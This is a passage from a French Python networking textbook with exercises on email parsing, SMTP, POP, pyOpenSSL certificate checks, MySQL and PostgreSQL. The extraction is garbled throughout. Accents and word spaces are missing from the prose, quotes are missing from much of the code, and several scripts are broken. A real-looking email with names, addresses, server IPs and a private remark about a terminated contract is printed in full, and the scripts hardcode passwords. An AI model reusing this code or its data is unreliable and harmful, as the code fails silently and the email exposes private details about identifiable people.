for header, value in msg.items():
print header + ":"
print " " + value
if msg.is_multipart():
- 4-
Lescriptcommenceparchargerlemessage(email.txt)aveclappelemail.message_from_file().
Cettefonctionvachargerlemessageenmmoirepourpouvoirensuitelanalyser.
Lescriptvaensuitechercherlesheadersetsesvaleursassociesdanslemessage, cecigrce msg.items
().
Finalementlecorpsdumessageestaffich.
Rsultatduscriptsurunmail
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo35.py < email.txt
*** Headers du message :
X-Account-Key:
account2
X-UIDL:
1143464059.72043
X-Mozilla-Status:
0001
X-Mozilla-Status2:
00000000
X-Mozilla-Keys:
Return-Path:
<sylvia@univ-valenciennes.fr>
Received:
from eiger.univ-valenciennes.fr ([unix socket])
by eiger.univ-valenciennes.fr (Cyrus v2.3.7-Invoca-RPM2.3.7-7.el5_4.3) with LMTPA;
Tue, 13 Dec 2011 22:02:09 +0100
X-Sieve:
CMU Sieve 2.3
Received:
from titan.univ-valenciennes.fr (titan.univ-valenciennes.fr
[193.50.192.38])
by eiger.univ-valenciennes.fr (Postfix) with ESMTP id
75BDE835F7F
for <Franck.Ebel@eiger>; Tue, 13 Dec 2011 22:02:09 +0100
(CET)
Received:
by titan.univ-valenciennes.fr (Postfix)
id D996A7845B3; Tue, 13 Dec 2011 22:01:54 +0100 (CET)
Delivered-To:
franck.ebel@univ-valenciennes.fr
Received:
from localhost (ent8.univ-valenciennes.fr [193.50.192.148])
by titan.univ-valenciennes.fr (Postfix) with ESMTP id
41792784567;
Tue, 13 Dec 2011 22:01:50 +0100 (CET)
Received:
from 81-67-158-236.rev.numericable.fr
(81-67-158-236.rev.numericable.fr [81.67.158.236]) by
webpers.univ-valenciennes.fr (Horde Framework) with HTTP; Tue, 13
- 5-
Dec 2011
22:02:05 +0100
Message-ID:
<20111213220205.71992j3gzaisc5z4@webpers.univ-valenciennes.fr>
Date:
Tue, 13 Dec 2011 22:02:05 +0100
From:
Sylvia <Sylvia.Casado@univ-valenciennes.fr>
To:
Ebel Franck <Franck.Ebel@univ-valenciennes.fr>
Cc:
Vincent <Vincent@univ-valenciennes.fr>
Subject:
Simon
MIME-Version:
1.0
Content-Type:
text/plain;
charset=ISO-8859-1;
DelSp="Yes";
format="flowed"
Content-Disposition:
inline
Content-Transfer-Encoding:
8bit
User-Agent:
Dynamic Internet Messaging Program (DIMP) H3 (1.1.4)
X-UVHC-titan-MailScanner-ID:
41792784567.A402C
X-UVHC-titan-MailScanner:
Found to be clean
X-UVHC-titan-MailScanner-From:
sylvia@univ-valenciennes.fr
X-Spam-Status:
No
-----------------------------------------------------------------Sujet: Simon Onduo
-----------------------------------------------------------------corps du message:
Bonsoir Franck,
Jai appris par Simon puis par Catherine que le contrat
de Simon a ete rompu.
Tiens-moi au courant.
Cordialement,
-IUT Maubeuge
4.Analyserlesdates
Rcuprerladatedun message nest pas simple. En effet, la reprsentation de la date suivant les pays et la
gnrationdedateparleslogicielsdemailsposentsouventproblme.
Email.Utilsvanousaiderrsoudreceproblme.
Lafonctionparsedate_tz()vachargerladateentantquechanedecaractresetretourneruntuplede10
lments.
Les9premierspourronttrepassstime.mktime().
- 6-
Ledernierlmentspcifielelieugographique(timezone).
Cedernierlmentpourratrepassmktime_tz()quiconvertiraladateensecondesdepuisle1erjanvier
1970,UTC(epoch).
chap1_exo36.py
#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, email, time
from email import Utils
def getdate(msg):
if not date in msg:
return None
datehdr=msg[date].strip()
try:
return
Utils.mktime_tz(Utils.parsedate_tz(datehdr))
except:
return None
msg=email.message_from_file(sys.stdin)
dateval=getdate(msg)
if dateval is None:
print "pas de date valide trouvee"
else:
print "le message a ete envoye le :",time.strftime(%A, %B
%d %Y %I:%M %p,time.localtime(dateval))
Rsultatduscriptchap1_exo36.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo36.py < email.txt
le message a ete envoye le : Tuesday, December 13 2011 10:02 PM
5.Erreursetdebugging
IlexistediffrenteserreursquelonvapouvoirgrerenPythonaveclalibrairiesmtplib.
socket.gaierror :problmesdelookupdesadresses.
socket.error :problmesdentres/sortiesetdecommunication.
socket.herror :touslesautresproblmesdadresses.
smtplib.SMTPException :problmesdeconversationsmtp.
Nousavonsdjdiscutdestroispremireserreursprcdemment.
Nousutiliseronslaquatrimeerreurpourgrerlesproblmesdecommunicationavecleserveur.
IlexisteaussiunefonctionpourdbuggerleSMTPquiestsmtpobj.set_debuglevel(1).
Voiciunexempledimplmentationdecesfonctions.
chap1_exo37.py
#!/usr/bin/env python
import sys,smtplib,socket
ENI Editions - All rights reserved - chantal gournier
- 7-
if len(sys.argv)<4:
print "La syntaxe est la suivante : %s serveur
adresse_source adresse_destination
[adresse_destination...]"%sys.argv[0]
sys.exit(255)
server=sys.argv[1]
fromaddr=sys.argv[2]
toaddrs=sys.argv[3]
message="""to: %s
From: %s
Subject: Test de message
Salut,
Voici un message envoye grace a smtplib.
"""%(,.join(toaddrs), fromaddr)
try:
s=smtplib.SMTP(server)
s.set_debuglevel(1)
s.sendmail(fromaddr, toaddrs, message)
except (socket.gaierror, socket.error, socket.herror,
smtplib.SMTPException), e:
print " *** Votre message na pas pu etre envoye ***"
print e
sys.exit(1)
else:
print "Votre message a ete envoye avec succes a %d
destinataire(s)"%len(toaddrs)
Rsultatduscriptchap1_exo37.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo37.py popuvhc.univ-valenciennes.fr titi@free.fr
fasm@acissi.net
send: ehlo localhost6.localdomain6\r\n
reply: 250-eiger.univ-valenciennes.fr\r\n
reply: 250-PIPELINING\r\n
reply: 250-SIZE 51200000\r\n
reply: 250-VRFY\r\n
reply: 250-ETRN\r\n
reply: 250-ENHANCEDSTATUSCODES\r\n
reply: 250-8BITMIME\r\n
reply: 250 DSN\r\n
reply: retcode (250); Msg: eiger.univ-valenciennes.fr
PIPELINING
SIZE 51200000
VRFY
ETRN
ENHANCEDSTATUSCODES
8BITMIME
DSN
send: mail FROM:<titi@free.fr> size=128\r\n
reply: 250 2.1.0 Ok\r\n
reply: retcode (250); Msg: 2.1.0 Ok
send: rcpt TO:<fasm@acissi.net>\r\n
reply: 250 2.1.5 Ok\r\n
reply: retcode (250); Msg: 2.1.5 Ok
send: data\r\n
reply: 354 End data with <CR><LF>.<CR><LF>\r\n
reply: retcode (354); Msg: End data with <CR><LF>.<CR><LF>
data: (354, End data with <CR><LF>.<CR><LF>)
send: to: fasm@acissi.net\r\nFrom: titi@free.fr\r\nSubject: Test
- 8-
Nousvoyonslvolutiondelaconversationentreleclientetleserveuretpourrons doncdterminerlacauselors
dunchecdecommunication.
6.MailetPOP
Rapatrierdesmailsestunpeudiffrent,maispasforcmentpluscomplexe.
Eneffet,lencore,Pythonpossdequelqueslibrairiesquivontnoustreutiles.
Import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
print serveur_pop.stat()
Grceauscriptcidessus,nouseffectuonsuneconnexionetunercuprationdinformationssurleserveurPOP.
SielleestrarementmiseenplacesurunserveurSMTP,lauthentificationest,surPOP,ncessaire(nimportequi
nedoitpaspouvoirrcuprervosmails).
Nousutilisonsdonclafonctionuser()etpass_()pournousidentifier.
Nousfaisonsensuiteappelstat(),quinousenvoieunelistequinecontientquedeuxvaleurs :
lapremireestlenombredemessages
lasecondeestlatailledecesmessages.
Donc si on doit rcuprer ces messages, on connat la taille du transfert. Nous allons donc transfrer les
messages.
chap1_exo38.py
import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
nb,taille=serveur_pop.stat()
print "Nombre de mails = ",nb
print "\nTaille totale = ",taille
for i in range(nb):
message=serveur_pop.ret(i+1)
print message[0]
for ligne in message[1]:
print ligne
print message[2]
Nous nous connectons et nous identifions auprs du serveur, nous affichons ensuite le nombre de mails et la
- 9-
tailletotale.
Puisnousentronsdansunebouclequivarcuprerunparunchaquemail,danslavariablemessage.
Lavariable,unefoisremplieparunmessage,estunelistecontenanttroischamps :
lecodederetourduserveur(okounon).
lemailavecseschamps(from,to,corps...)etsoncontenu.
latailledumail.
Lesecondchamp,quicontientlemail,estuntableaudontchaquecasecontientuneligne.
Nouscronsdoncunepetitebouclepourlafficher.
Ilseraitintressantmaintenantdeprogrammerunpetitscriptquinousinformesinousrecevonsunmailprcis.
Lefonctionnementinterneseralesuivant :jerenseigneuneadressemaildontjattendsuncourrierimportantet
lescriptvaregardersinousavonsunmailcorrespondantcetteadresse.
Pourfairecelanousallons,dsrception,rcuprerlemessagebrutetletransformer enobjetmail :
chap1_exo39.py
#!/usr/bin/env python
#coding:utf-8
from email.MIMEText import MIMEText
from email import message_from_string
from email.Message import Message
import poplib
serveur_pop=pop.lib.POP3("pop.domain.com")
serveur_pop.user("febel")
serveur_pop.pass_("python")
nb,taille=serveur_pop.stat()
print "Nombre de mails = ",nb
print "\nTaille totale = ",taille
for i in range(nb):
print ------------------------
print "Message URGENT"
print ------------------------
message=serveur_pop.ret(i+1)
mail_inline=""
for ligne in message[1]:
mail_inline=mail_inline+info+"\n"
mon_obj_message=message_from_string(mail_inline)
print mon_obj_message.get_payload(From)
Nous rcuprons les mails un un, grce une premire boucle dans laquelle on intgre une seconde pour
crer,partirdutableaucontenanttoutesleslignesdumail,unmailenuneligne,enajoutantles \n entre
chaquechamp.
Nous passons tout cela message_from_string() qui construit un message objet et nous faisons appel
.get_payload()aveccommeargumentFrom(seulunexpditeurmimporte)quipermetdelirelavaleurde
nimportequelchampdemail.
- 10 -
LeSSLenPython
1.Introduction
DeuxmodulessparsenPythonoffrentauxdveloppeurslapossibilitdincorporer SSLdansleursapplications.
NousnereviendronspasicidanslexplicationduSSLnidesonfonctionnement,beaucoupdouvragessurlesujet
onttpublis.
Dans la bibliothque socket dj vue prcdemment, il existe une mthode permettant dutiliser le SSL.
Limplmentation dans socket est vraiment basique et nest pas capable dauthentifier le client distant sur le
serveur.
La seconde possibilit est dutiliser pyOpenSSL, un autre module. Cest une interface du populaire OpenSSL,
beaucouppluspuissanteetcomplexe.
Nousutiliseronspourlasuitecederniermodule.
2.UtilisationdOpenSSL
Commenonsparunexempledescriptbasique.
chap1_exo40.py
#!/usr/bin/env python
#coding:utf-8
import socket, sys
from OpenSSL import SSL
ctx=SSL.Context(SSL.SSLv23_METHOD)
print "Creation du socket ...",
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "socket cree\n"
ssl=SSL.Connection(ctx,s)
print "Etablissement du SSL...",
ssl.connect((www.openssl.org,443))
print "connexion effectuee"
print "Requete demandee...",
ssl.sendall("GET / HTTP/1.0\r\n\r\n")
print "Requete effectuee"
while 1:
try:
buf=ssl.recv(4096)
except SSL.ZeroReturnError:
break
print buf
ssl.close()
Extraitdursultatduscriptchap1_exo40.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo40.py
Creation du socket ... socket cree
- 1-
<html>
<head>
<!-Copyright (c) 1998-2009 The OpenSSL Project,
http://www.openssl.org/
Author:
OpenSSL (openssl@openssl.org)
Modified: 2009-06-24 13:40:01.
Generated from ``index.wml via WML 2.0.11 (19-Aug-2006).
by OpenSSL (openssl@openssl.org)
on 2012-01-04 20:42:25.
DO NOT EDIT THIS FILE DIRECTLY! INSTEAD EDIT ``index.wml.
-->
<meta name="Copyright" content="1998-2009 The OpenSSL Project,
http://www.openss
Nouspouvonsvoirdanslexemplelaconnexionwww.openssl.orgenutilisantleprotocoleSSL.
Pourrussircela,nouscronsdabordunobjetContextenappelant SSL.Context.Ensuite,unsocketat
crpuisunobjetconnexionenSSLSSL.connection(),avecenparamtreslobjetSSLetlobjetsocket.
La connexion est cre et nous pouvons procder lenvoi et la rception de donnes comme nous lavons
djvuaudbutdecechapitre,riendebiendifficile.
3.Vrifierlescertificats
Lexemple prcdent se connecte en SSL sur le serveur mais ne vrifie pas lauthenticit de ce serveur. Nous
allons donc apprendre comment effectuer une authentification du serveur de la mme manire que le fait un
navigateurweb.
Lapremirechosequenousdevonsfaireestdobtenirlecertificatdelautoritcertificateurroot(master).Cette
organisationestreconnuepourvrifierlesidentitsetpourproduiredesclssignes.
Une communaut libre est dailleurs apparue il y a quelques annes en Allemagne et stend maintenant en
Europe,leCACERT.Vouspouvezlibrementetgratuitementobtenirdesclsetcertificatsenfaisantvrifiervotre
identitparunmembrecertificateurreconnu.Pourplusderenseignements,rendezvoussurwww.cacert.org.
Si vous navez pas encore de certificat, vous pouvez vous rapprocher de cet organisme pour rencontrer des
certificateursetenrcuprerun.
Touteslesinformationsncessairesvousserontlivressurlesite.
Voiciunexempledescriptquiseconnecteunsitedistantetvrifielecertificat.
chap1_exo41.py
#!/usr/bin/env python
- 2-
#coding:utf-8
import socket, sys
from OpenSSL import SSL
cafile, host=sys.argv[1:]
def printx509(x509):
fields={country_name:Country,
SP:State/Province,
L:Locality,
O:Organization,
OU:Organiztion Unit,
CN:Common Name,
email:E-mail,}
for field, desc in fields.items():
try:
print "%30s: %s"%
(desc,getattr(x509,field))
except:
pass
cnverified=0
def verify(connection, certificate,ernum,depth, ok):
global cnverified
subject=certificate.get_subject()
issuer=certificate.get_issuer()
print "Certificat de:"
printx509(subject)
print "\nEmis de:"
if not ok:
print "Ne peut pas verifier le certificat"
return 0
if subject.CN==None or subject.CN.lower() != host.lower():
print "Connecte a %s, mais a la certif de %s"%
(host,subject.CN)
else:
cnverified=1
if depth ==0 and not cnverified:
print "Ne peut pas verifier le nom du serveur"
return 0
print "-"*70
return 1
ctx=SSL.Context(SSL.SSLv23_METHOD)
ctx.load_verify_locations(cafile)
ctx.set_verify(SSL.VERIFY_PEER|SSL.VERIFY_FAIL_IF_NO_PEER_CERT,
verify)
print "creation du socket..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "Fait"
ssl=SSL.Connection(ctx,s)
print "Etablissement du ssl..."
ssl.connect((host,443))
print "fait"
print "Demande du document..."
ssl.sendall("GET / HTTP/1.0\r\n\r\n")
print "Fait"
while 1:
try:
buf=ssl.recv(4096)
except SSL.ZeroReturnError:
break
print buf
ssl.close()
Rsultatduscriptchap1_exo41.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
ENI Editions - All rights reserved - chantal gournier
- 3-
- 4-
Lafonctionprintx509()affichelesinformationsducertificat.ElleutiliselesdiffrentsattributstelsqueCN,OU
commeunecldanslobjet.chaquefoisqueverify()estappele,printx509()estappeledeuxfois :
unefoispourlesujet(lecertificatluimme)
unefoispourlmetteur(lenomdelorganisationquimetlecertificat).
Lafonctionverify()rcupredonclesinformations.
Aprs cette fonction, on tente la connexion SSL, lappel load_verify_locations() spcifie le nom des
fichiersquicontiennentlesinformationsduCA.
Lappelset_verify()dfinitquellesortedevrificationOpenSSLdoitfaire.
- 5-
Utilisationdebasesdedonnes
1.Introduction
Nousallonsfrquemmentretrouverdansnotreviedinformaticiendesbasesdedonnes,quecesoitdansdes
applicationsoudessiteswebdynamiques.Ilexisteplusieurstypesdebasesdedonnes,labasededonnes
relationnellelapluspopulairetantMySQL.
IlexisteplusieursoutilssousPythonpermettantdegrercesdiffrentesbasesdedonnes.
2.MySQLdb
a.Rappel
Pour continuer, nous aurons besoin dun serveur MySQL dans laquelle nous allons ajouter ces quelques
donnes :
mysql -p
CREATE DATABASE python_db;
USE python_db;
CREATE TABLE IF NOT EXISTS USER(id int auto_increment PRIMARY KEY,
pseudo text);
INSERT INTO USER (pseudo) VALUES (FaSm);
INSERT INTO USER (pseudo) VALUES (Codej);
INSERT INTO USER (pseudo) VALUES (Brix);
INSERT INTO USER (pseudo) VALUES (Guifort);
Nouspossdonsdoncmaintenantunepetitebaseetunepetitetable,labasetantdestineconteniruneou
plusieurstables.
Notretablecontientdeuxcolonnes(ATTRIBUTS).Lapremireestunentierquisincrmenteautomatiquement
chaqueinsertion,lasecondecontientlepseudonymedelutilisateur.
Nousinsronsquatrevaleurs(lesidvontsincrmenterde14).Chaquelignedecettetableestappeleun
tuple.Lesprincipalesactionsquelonpeutfairesurunebasededonnessontlessuivantes :
Seconnecter
Listerleslmentsdunetable(clauseSELECT)
Ajouterunlmentdansunetable(clauseINSERT)
Mettrejouruntuple(clauseUPDATE)
Mettrejourunestructure(clauseALTER)
Dtruiredesdonnesoudestables(clauseDELETE,DROP)
b.Utilisation
import MySQLdb
lien_db=MySQLdb.connect(host= "localhost", user="root",
passwd="", db="test")
- 1-
Nous importons le module puis nous appelons lune de ses fonctions avec des paramtres nomms (ce qui
permetdelespassersansordreprcis).
Nous nous connectons donc une base de donnes situe sur la machine localhost qui correspond la
machinelocale.
NousnousconnectonsentantquerootavecunmotdepassevidelabasededonnesTEST.
Pardfaut,MySQLnedfinitpasdemotdepassepourrootetcreunebasevideappeleTEST.
Pensezdoncmettreunmotdepasseetsupprimercettebasepourunserveurdeproduction.
NousvoilconnectsnotreserveurMySQL.
Pensez bien sr adapter ces paramtres dans le script si votre serveur est dj configur. Nous allons
maintenantlisterlatableUSER.
chap1_exo42.py
import MySQLdb
lien_db=MySQLdb.connect(host= "localhost", user="root",
passwd="python", db="python_db")
lien_db.query("SELECT * FROM USER")
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
while nb_tuple>0 :
ligne=resultat.fetch_row()
print ligne
nb_tuple=nb_tuple - 1
Rsultatduscriptchap1_exo42.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo42.py
((1L, FaSm),)
((2L, Codej),)
((3L, Brix),)
((4L, Guifort),)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
Lexplication de ce code est assez simple. Dabord nous nous connectons en crant un lien avec la base de
donneslien_db.
Celienestenfaitunobjetdontlesmthodesvontnousservirpourlamanipuler.Toutdabordaveclamthode
query()acceptantunechanedecaractresenparamtre.Ellevasimplementenvoyerlarequte(queryen
anglais)auserveursanssesoucierduretourdunequelconquerponse(saufleserreurs).
Nous passons ici la requte qui va slectionner tous les tuples de la table USER qui va garder ces donnes
jusqucequenousluidemandions.Cequenousfaisons grcelappel store_result()quirenvoieun
objetdetype ressourceMySQL .
Nosdonnessetrouventalorsdanslavariableresultat.
Une petite astuce quand vous fonctionnez par ttonnement, une instruction print variable
afficheraletypedelavariablesicellecinestpasunevariablequelonpeutafficher(cestlecasde
resultatdanslexemple).
Il existe des mthodes de lobjet resultat qui vont nous permettre de ressortir les donnes. La mthode
- 2-
fetch_row() nous renvoie un tuple dans lequel se trouvent dautres tuples : le premier contient vos
donnes,lesecondestuntuplevide.
Sansparamtres, fetch_row()nousrenvoiedoncuneseuleligne.Pourrcuprer lensembledursultatde
notre requte, nous faisons une simple boucle avec comme intervalle le rsultat dune autre mthode de
resultatnommenum_rows().
Ilsagitdelamthodequinousindiquecombiendelignescontientlersultatdelarequte.
Maintenant, fetch_row()acecidarrangeantquellepeutprformatersasortie.Sijusquicinousavonsreu
untupledetuples,nouspouvonsluidemander dercuprer,nonplusune,maistouteslesligneslafoiset
nouslesenvoyersousunformatplusarrangeant,commeuntuplededictionnaire.
chap1_exo43.py
#!/usr/bin/env python
#coding:utf-8
import MySQLdb
lien_db=MySQLdb.connect(host="localhost", user="root",
passwd="acissi", db="python_db")
lien_db.query("SELECT * FROM USER")
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
ligne=resultat.fetch_row(maxrows=nb_tuple,how=1)
print ligne
Rsultatduscriptchap1_exo43.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo43.py
({pseudo: FaSm, id: 1L}, {pseudo: Codej, id: 2L},
{pseudo: Brix, id: 3L}, {pseudo: Guifort, id: 4L})
Nous avons un tuple, dont nous connaissons le nombre dlments (nb_tuples) et qui contient des
dictionnaires.Nouspouvonsdonc,entantquepropritairesdelabasededonnes,rcuprerleursdonnes
grceauxenttesdecolonne(attributs).
print ligne[0]["pseudo"]
Nouspouvonsdoncrcuprerlepseudodupremierutilisateurlissuedelarequtecidessus.
Ilexisteuneautremthodequestore_result().Eneffet,quandcellecirapatriedepuisleserveurtousles
tuplesrsultantsdenotrerequte,use_result()nelesrapatriequunparun.
Alors,danslecasderequtesquirenverrontbeaucoupdetuples,store_result()mettrauncertaintemps
toutrcuprermaispermettradesaccsplusrapidesparlasuite.
Use_result() permettra un rapatriement rapide mais laccs sera ralenti par le devoir de contacter le
serveurchaqueaccsdetuple.
Pourlinsertiondansunebasededonnes,quicorrespondunesimplerequte,nousvoulonsgnralement
savoirsiellesestbienpasse.
Unsimpleappelquery()devraitnoussuffire.
chap1_exo44.py
- 3-
#!/usr/bin/env python
#coding:utf-8
import MySQLdb
lien_db=MySQLdb.connect(host="localhost", user="root",
passwd="acissi", db="python_db")
requete="INSERT INTO USER(pseudo) VALUE(Serge)"
lien_db.query(requete)
lien_db.commit()
requete="SELECT * FROM USER"
lien_db.query(requete)
resultat= lien_db.store_result()
nb_tuple=resultat.num_rows()
for l in resultat.fetch_row(maxrows=nb_tuple,how=1):
print l["id"],l["pseudo"]
lien_db.close()
Rsultatduscriptchap1_exo44.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo44.py
1 FaSm
2 Codej
3 Brix
4 Guifort
5 Serge
Nousremarquonslappellafonctioncommit(),cetappelesttrsfortementrecommand.Ilmetfinceque
lonappelleunetransaction.
LinsertionparMySQLestgrecommetelleetsinousnefaisonspascetappel,notreinsertionrisquedene
pastresauvegardeoudenepastrepriseencompte.Notreinsertiondeviendraituntuplefantmequine
serait pas assimil 100 % par le serveur qui ne le rpercuterait pas dans les requtes dventuels autres
clients.
Ilestrecommandgalementdeprocderun commit(),mmeaprsunerequteSELECT,neseraitceque
pourmettrejourlesstatistiquesetlesinformations daccsinternesauserveurMySQL.
Une petite astuce consiste lancer lien_db.auto-commit(true) qui demande Python de lancer
automatiquement la mthode commit(). Mais ceci peut engendrer des latences, notamment si nous
excutonsplusieursrequtes daffile.Nouspourrionsnoussatisfairedunsimplecommitdefindetoutesles
requtes,alorsqueautocommit()feralademandepourchaquerequte.
La requte en ellemme est assez simple. Nous insrons un nouveau pseudo et lid, comme convenu, va
sincrmenter automatiquement. Nous rcuprons ensuite la liste des id et des pseudos. Enfin, et chose que
nousnavonspasencorefaitejusquel,nousavonscloslelienentrenotrescriptetMySQL.
Danslecasdunscriptquicontinueletraitementaprslaccslabasededonnes,ilfautdlierlelienentre
lescriptetMySQL.
Nous devons avoir en tte que le serveur MySQL limite le nombre de connexions entrantes et, si nous ne
fermonspasleliendsquepossible,nousmonopolisonsuneplacepourrien.
Pourlesmisesjourdetuples,detables,lesajoutsdutilisateursoutouteautreoprationsurnosbasesde
donnes,ilnexisteaucunediffrenceauniveauducodePython.
IlnoussuffitderemplacersimplementnotrerequteINSERTparUPDATE,ALTER,DROPouGRANTparexemple.
Les principales choses connatre pour faire discuter Python et MySQL ensemble sont donc de savoir se
connecter,envoyerunerequte,rcuprerlesventuelsrsultatsetsedconnecter.
- 4-
3.PostgreSQL
a.Introductionetpremireconnexion
IlexistediffrentesmthodespourseconnecterenPythonunebasededonnes PostgreSQL.Nousallons
danscettepartieutiliserpsycopg.
Lamthode connect() de psycopg demande comme argument une chane de caractres contenant toutes
lesinformationsncessairespourtabliruneconnexionavecleserveur.Lafonction getdsn() nous permet
dercuprertoutescesinformations.
chap1_exo45.py
#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
ddh.close()
Rsultatduscriptchap1_exo45.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo45.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
b.Excuterdescommandes
Nous savons maintenant nous connecter une base de donnes PostgreSQL. Nous allons maintenant voir
comment lui envoyer des commandes. Nous devons bien sr avoir une base de donnes fonctionnelle pour
testerlesscriptssuivants.
Pourlancernimportequellecommande,nousdevonsenpremierlieuobteniruncurseur.Leconceptducurseur
est daider simplifier les rsultats des requtes, mais pour linstant, nous allons nous focaliser sur les
commandesetnonlesrsultats.
Nousallonsvoirmaintenantcommentcrerunetableetchargerquelquesdonnes.
chap1_exo46.py
- 5-
#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("CREATE TABLE eni_edition (mon_num integer UNIQUE,
ma_chaine varchar(30))")
cur.execute("INSERT INTO eni_edition VALUES (0)")
dbh.commit()
dbh.close()
Rsultatduscriptchap1_exo46.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo46.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ psql -d
python_db
psql (9.1.2)
Type "help" for help.
python_db=# \d
List of relations
Schema |
Name
| Type | Owner
--------+-------------+-------+------public | eni_edition | table | fasm
public | pseudo
| table | fasm
(2 rows)
python_db=#
Le script commence par se connecter de la mme manire que prcdemment. Ensuite nous crons un objet
curseur(cursor())puisnouslanonsexecute() troisfois.
Nousfinissonsparuncommit().
c.Cacherleschangements
Unpanintressantdessystmesdetransaction(nousenavonsparldanslapartieMySQL)estquelesautres
utilisateurs et programmes ne voient pas les changements que nous faisons jusqu ce que nous les ayons
termins(commit()).
- 6-
Voiciunexemplequiutilisececoncept :
chap1_exo47.py
#!/usr/bin/env python
#coding:utf-8
import psycopg2
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("DELETE FROM eni_edition")
cur.execute("INSERT INTO eni_edition VALUES (0)")
dbh.commit()
dbh.close()
Ce script remplace le contenu de la table avec une seule ligne. Lavantage est que les utilisateurs peuvent
encoreliredanslatable,mmeaprsleDELETEetce,jusqucequecommit()soitappel.
d.Rpterdescommandes
Unproblmecommunauxbasesdedonnesestqueleprogrammeurdoitsouvent lancerlammecommande
demultiplesfois.AvecSQL,celaveutdireparexemplefairedesINSERTINTOdesmilliersdefois.
Lafonction executemany()prendcommeargumentunecommandeetunelistedenregistrements.Chaque
enregistrementpeuttreuneautrelisteouundictionnaire.
Chap1_exo48.py
#!/usr/bin/env python
#coding:utf-8
import psycopg2
rows=({num:0, text : zero},{num:1,text:Un},
{num:2,text:Deux},{num:3,text:trois})
def getdsn(db = None, user = None, passwd = None, host = None):
if user == None:
import os, pwd
user = pwd.getpwuid(os.getuid())[0]
if db == None:
db=user
dsn=dbname=%s user=%s%(db,user)
if passwd != None:
dsn += password= + passwd
if host != None:
dsn += host= + host
return dsn
ENI Editions - All rights reserved - chantal gournier
- 7-
dsn=getdsn(python_db,fasm, ,localhost)
print "Connexion a %s"%dsn
dbh=psycopg2.connect(dsn)
print "connexion reussie."
cur=dbh.cursor()
cur.execute("DELETE FROM eni_edition")
cur.executemany("INSERT INTO eni_edition VALUES (%(num)d,%
(text)s)",rows)
dbh.commit()
dbh.close()
Cescriptvainsrerlesquatrelignescontenuesdansrows.
e.Rcuprerdesdonnes
Quand la base de donnes est cre et fonctionnelle, il faut bien sr pouvoir rcuprer les donnes pour
lapplication.
Les requtes sont envoyes via la mthode execute() et les rsultats sont obtenus via une mthode
fetch().
Ilexistediffrentesmthodesfetch:
Lamthode fetchall()varcuprertousleschampsetvaretourneruneliste.Chaquelmentde
lalistecorrespondunenregistrement.
Latotalitdelarequteestchargeenmmoire.
chap1_exo49.py
#!/usr/bin/env python
#coding:utf-8
import psycopg2
- 8-
Rsultat
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo49.py
Connexion a dbname=python_db user=fasm password= host=localhost
connexion reussie.
(0,ZERO)
(1,Un)
(2,Deux)
(3,trois)
Nouspouvonsaussiutiliserfetchmany()pourrcuprerligneparligne:
#!/usr/bin/env python
#coding:utf-8
import psycopg2
Nouspouvonsutiliseraussifetchone()pourrcuprerlesrsultatsunun.
Dautresmthodessontdisponiblespourrcuprercertainesdonnesoulestraiter,etladocumentationbien
fourniesurlesitedePython.orgousurdiffrents siteswebddisPythonvouspermettradetrouvercedont
vousaurezbesoindansvosfutursdveloppements.
- 9-
Conclusion
Nous venons de faire le tour des principales bibliothques et mthodes pour une programmation rseau. Il en
existebiendautrestellesquepycurlparexemple.Nousnepouvonsbiensrpastudiertoutescesbibliothques
endtail.
Une recherche personnelle et une veille constante sont ncessaires pour rester jour en Python mais aussi et
surtout dans les outils de Hacking disponibles sur le net qui, dans la majorit des cas, sont cods en Python
(wapiti,hachoir...).
LechapitreRseau:labibliothqueScapyseracompltementconsacrunebibliothquebienparticulireetqui
plusestcriteparunFranais.
